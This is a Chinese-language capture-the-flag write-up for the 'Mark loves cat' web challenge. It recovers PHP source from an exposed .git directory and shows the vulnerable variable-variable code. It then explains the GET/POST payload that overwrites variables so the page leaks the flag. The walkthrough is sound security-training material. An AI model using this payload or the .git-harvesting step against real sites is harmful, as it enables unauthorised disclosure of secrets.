BJDCTF2020/BUUCTF-WEB:Mark loves cat
扫描得到/.git/目录,尝试用GitHack读取源码:
flag.php:
<?php $flag = file_get_contents('/flag');
index.php关键部分:
<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;
涉及到变量覆盖问题。首先我们post:$flag=flag
foreach($_POST as $x => $y){
$$x = $y;
}
这样就变成了$$flag = flag。$$x表示$$flag,被$y赋值后为flag
接下来GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
$x为yds,$y为flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。
$$x = $$y,也就是$yds=flag{XXXXXX}。
只要没有flag参数,就会exit($yds),就可以得到flag了。
所以会输出flag。总的来说还是挺绕的。。
最终payload:
GET:yds=flag POST:$flag=flag